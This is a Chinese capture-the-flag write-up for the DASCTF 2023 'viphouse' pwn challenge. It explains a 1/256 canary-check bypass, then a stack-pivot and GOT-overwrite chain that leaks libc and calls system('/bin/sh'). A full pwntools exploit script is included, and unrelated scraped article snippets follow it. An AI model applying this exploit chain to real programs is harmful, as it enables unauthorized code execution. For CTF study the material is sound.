[DASCTF 2023 0X401七月暑期挑战赛] viphouse复现

news/2024/2/28 10:38:21

这个题想了好久,无果,终于看到WP。照着作了一遍。WP里没有详细解释,所以复现得很辛苦。

程序有5个菜单和1个初始化程序:

  1. init 先从os.random读8个字节放到src处
  2. login 读入用户名密码,其中密码栈里设的0x40可以读入0x68 可以溢出到 canary + rbp  外加3个字。但这里需要有canary才行
  3. UAF有两个菜单一个是建块写入数据一个是删块,由于初始变量为0,退出后再入可以多次建块,但无法多次删,所以这里没有UAF
  4. canary可以给出canary但需要先猜对src存的随机数。
  5. logout置个状态没啥特殊的

一直找不到漏洞点。看WP才恍然大悟。在4这人位置先将src读入到s然后再比较。如果src的第1个字节是0,那么它只复制1个\0后边被初始化的都是0,所以输入8个0就能通过。这里爆破成功率1/256。

 得到canary后可以调用login,通过pass这里的溢出来获取libc和shell,不过负载只有3个字太小了,而且这题只有一个pop rbp 其它都不用pop操作。所以要分几步。

  1. 修改printf为puts

     

    1. 先通过溢出移栈到ptr+0x2a0,执行login(去掉sub rsp部分) 
    2. 这时候写name的时候会写到ptr上,然后调用add_note向ptr写8字节,也就是向got表写,将printf的got指向plt.puts

同上修改__stack_chk_fail的got表为pop rbp;ret 使其不退出,并用pop rbp平衡(进函数时会push rsp,返回时pop rbp 恢复rbp的值为rsp,消除错位rbp的影响)

再执行时name这里可以写ROP了,这里用到gift里一部分

 从这里(0x4015d0)调整rbp,即可通过printf打印出libc值。

然后再一次移栈,输入system(bin/sh)

from pwn import *context(arch='amd64', log_level = 'debug')elf = ELF('./viphouse')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')#1/256 key = \0XXXXXXX   strcpy -> \0\0\0\0\0\0\0\0
while True:p = process('./viphouse')#gdb.attach(p,'b*0x40150e\nc')#loginp.sendlineafter(b"Choose an option: ", b'1')p.sendlineafter(b"Please enter your username: ", b"admin\x00")p.sendlineafter(b"Please enter your password: ", b"root\x00")p.sendlineafter(b"Choose an option: ", b'4')p.sendlineafter(b"Please input the number you guess: \n", b'\x00'*8)if b'gift' in p.recv(0x15):break else:p.close()canary = int(p.recvline(), 16)
print(f"{canary = :x}")#gdb.attach(p, 'b*0x401ac3\nc')bss = 0x404f00
ptr = 0x404128
pop_rbp = 0x40139d
leave_ret = 0x40147b
rsp_offset = 0x2a0
login_no_sub_rsp = 0x401991
p.sendlineafter(b"Choose an option: ", b'5')
p.sendlineafter(b"Choose an option: ", b'1')
p.sendlineafter(b"Please enter your username: ", b"admin\x00")
p.sendlineafter(b"Please enter your password: ", b"\x00"*0x40 + flat(canary, ptr+rsp_offset, login_no_sub_rsp))p.sendlineafter(b"Please enter your username: ", p64(elf.got['printf']))   #ptr=got.printf
p.sendafter(b"Please enter your password: ", b"\x00"*0x40 + flat(canary, ptr+rsp_offset+0x10, 0x4017f2, bss, login_no_sub_rsp)) #got.printf->plt.puts
p.send(p64(elf.plt['puts']))p.sendlineafter(b"Please enter your username: ", b"admin\x00")
p.sendlineafter(b"Please enter your password: ", b"\x00"*0x40 + flat(canary, ptr+rsp_offset, login_no_sub_rsp))p.sendlineafter(b"Please enter your username: ", p64(elf.got['__stack_chk_fail']))   #ptr=got.stack_chk_fail
p.sendafter(b"Please enter your password: ", b"\x00"*0x40 + flat(canary, ptr+rsp_offset+0x10, 0x4017f2, bss, login_no_sub_rsp)) #read got.__stack_chk_fail = pop_rbp;ret
p.send(p64(pop_rbp))p.sendlineafter(b"Please enter your username: ", flat(elf.got['srand']+0xe, 0x4015d0, elf.sym['login']))   #gift.printf(rbp+format:0xe)
p.sendlineafter(b"Please enter your password: ", b"\x00"*0x40 + flat(canary, 0x404c60, leave_ret)) p.recvline()
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['srand']
pop_rdi = next(libc.search(asm('pop rdi;ret')))
bin_sh = next(libc.search(b'/bin/sh\0'))
system = libc.sym['system']
ret = pop_rdi+1print(f"{libc.address = :x}")p.sendlineafter(b"Please enter your username: ", flat(0, ret, pop_rdi, bin_sh, system)) 
p.sendlineafter(b"Please enter your password: ", b"\x00"*0x40 + flat(canary, 0x4049d0, leave_ret)) p.interactive()


http://www.ppmy.cn/news/982669.html

相关文章

SQL基础培训24-存储过程详解

1.存储过程的概念与语法 1.1.概念 存储过程(Stored Procedure):已预编译为一个可执行过程的一个或多个SQL语句的集合。 1.2.语法 创建测试表: create table student <

opengauss数据库快速安装

root执行 groupadd gs useradd -g gs gs passwd gs mkdir -p /opt/software/openGauss sudo chown gs:gs /opt/software/openGauss chmod 700 /opt/software/openGauss gs执行 上传文件到/home/gs目录下 tar -jxf openGauss-x.x.x-openEuler-64bit.tar.bz2 -C /opt/software/o…

虹科新闻 | 虹科与Berghof正式建立合作伙伴关系

近日&#xff0c;虹科与德国Berghof公司达成战略合作&#xff0c;虹科正式成为Berghof Automation在大中华区的认证授权代理商。未来&#xff0c;虹科将携手Berghof一同为机器制造商、系统集成商和工业设备制造商提供先进的解决方案&#xff0c;从而在最小的空间内实现最高的性…

[SQL挖掘机] - 转换机制

一种较为有用的数据转换机制是在查询中修改列的数据类型. 通常, 当处理不同数据类型(如数字)的列时, 可使用仅对一种数据类型(如文本)有效的函数. 当修改某一列的数据类型时, 可简单地采用 column::datatype 格式. 其中, column表示为列名, datatype 表示为将列调整后的数据类型…

字符串 (2)--- 前缀函数与 KMP 算法

/* https://www.luogu.com.cn/problem/UVA455 最小周期&#xff1a; n - pi[n -1] */ #include <iostream> #include <string> #include <vector> using namespace std; vector<int> prefix_fun(string s) { int len s.length(); /…

[Java] 单例设计模式详解

模式定义&#xff1a;保证一个类只有一个实例&#xff0c;并且提供一个全局访问点&#xff0c;时一种创建型模式 使用场景&#xff1a;重量级的对象&#xff0c;不需要多个实例&#xff0c;如线程池&#xff0c;数据库连接池 单例设计模式的实现 1.懒汉模式&#xff1a;延迟…

全志F1C200S嵌入式驱动开发(调整cpu频率和dram频率)

【 声明:版权所有,欢迎转载,请勿用于商业用途。 联系信箱:feixiaoxing @163.com】 f1c200s默认的cpu频率是408M,默认的dram频率是156M。这两个数值,坦白说,都算不上特别高的频率。因为我们的晶振是24M输入,所以408/24=17,相当于整个cpu的频率只是晶振倍频了17…

Linux操作系统~必考面试题⑧

1、pwd 命令 pwd 命令用于查看当前工作目录路径。 实例&#xff1a; 查看当前路径 pwd 查看软链接的实际路径 pwd -P 2、rmdir 命令 从一个目录中删除一个或多个子目录项&#xff0c;删除某目录时也必须具有对其父目录的写权限。 注意&#xff1a;不能删除非空目录实例&…

前端css--导航栏效果

效果如下&#xff1a; <!DOCTYPE html> <html lang"en" > <head><meta charset"UTF-8"><title>导航栏动态效果</title><link rel"stylesheet" href"./style/style.css"> </head> &…

java发送短信验证码《工具类》

1、短信的签名 就是申请短信服务的平台是做什么的&#xff1f; 2、短信的模板 尊敬的${name}&#xff0c;感谢您的注册&#xff0c;您的MT4账号&#xff1a;${account}&#xff0c;密码&#xff1a;${password},请到官网下载软件。3、发送信息 pom.xml <!-- 阿里…

Qt - Python - PyQt/PySide - setWindowFlags设置窗口的标志位参数

在 PyQt 中&#xff0c;可以使用 setWindowFlags 方法设置窗口的标志位。这个方法接受一个整数作为参数&#xff0c;这个整数的各个位表示不同的标志位。 以下是一些常用的窗口标志位&#xff1a; Qt.Window&#xff1a;这是一个掩码&#xff0c;用于指定窗口的基本类型。它可…

flutter项目运行时一直卡在Running Gradle task ‘assembleDebug‘解决办法

1.修改项目中的android/build.gradle&#xff0c;将google()&#xff0c;mavenCentral()替换为下面的代码 maven { url https://maven.aliyun.com/repository/central/ }maven { url https://maven.aliyun.com/repository/public/ }maven { url https://maven.aliyun.com/repos…

format格式化输出语法详解

hello&#xff0c;这里是Token_w的文章&#xff0c;主要讲解python的基础学习&#xff0c;希望对大家有所帮助 整理不易&#xff0c;感觉还不错的可以点赞收藏评论支持&#xff0c;感谢&#xff01; 使用 % 操作符对各种类型的数据进行格式化输出&#xff0c;这是早期 Python提…

HTML Audio对象属性、方法、事件及音乐播放器应用

分为两部分&#xff0c;前面主要介绍Html5为Audio对象提供了用于DOM操作的方法、属性和事件&#xff1b; 后面主要通过使用audio jquery bootstrap在浏览器底部实现的音乐播放器。 效果&#xff1a; 目录 Audio对象 常用方法 常用属性 常用事件 音乐播放器 Html页面 样式…

Python面试:技巧与实践

Python面试&#xff1a;技巧与实践 在当今的IT行业中&#xff0c;Python已经成为了一种非常流行的编程语言。它以其简洁明了的语法、强大的库支持和广泛的应用领域&#xff0c;吸引了无数的开发人员。然而&#xff0c;掌握Python并不是一件容易的事情&#xff0c;尤其是在面试…

【学习笔记】目标跟踪领域SOTA方法比较

目录 前言方法1 TraDeS:2 FairMOT:3 SMILEtrack:4 ByteTrack: 前言 常用于行人跟踪的多目标跟踪数据集包括&#xff1a;MOT 15/16/17/20、PersonPath22等… 为更好比较现有SOTA算法的检测性能&#xff0c;本博客将针对在各数据集上表现较优的算法模型进行介绍。&#xff08;表…

在CSDN学Golang云原生(Kubernetes Pod 有状态部署)

一&#xff0c;StatefulSet部署MongoDB集群 Kubernetes StatefulSet 是 Kubernetes 中的一种资源类型&#xff0c;它能够保证有状态服务&#xff08;Stateful Service&#xff09;的唯一性和顺序部署&#xff0c;适用于需要持久化存储、网络标识、状态管理等场景。MongoDB 是一…

GPU压力测试篇- TensorFlow

简介 该文档介绍使用Tensorflow框架&#xff0c;测试 NVIDIA 驱动的常见python 代码。 环境信息 编号 软件 软件版本 备注 01 驱动 470.57.02 02 cuda 版本 11.2 03 cudnn 版本 8.1.1.33 04 tensorflow 2.6 功能测试代码&#xff1a; import tensor…

linux 根据时间条件删除日志

删除今天之间的日志文件 find /path/to/logs -type f ! -newermt "$(date %Y-%m-%d)" -exec rm {} \; 这个命令会在/path/to/log/files目录下查找所有扩展名为.log的文件&#xff0c;并检查它们的时间戳&#xff0c;如果时间戳超过7天&#xff0c;则删除这些文件。…

JS逆向之猿人学爬虫第20题-wasm

文章目录 题目地址sign参数分析python算法还原往期逆向文章推荐题目地址 https://match.yuanrenxue.cn/match/20第20题被置顶到了第1页,题目难度 写的是中等 算法很简单,就一个标准的md5算法,主要是盐值不确定, 而盐值就在wasm里面,可以说难点就在于wasm分析 sign参数分…
最新文章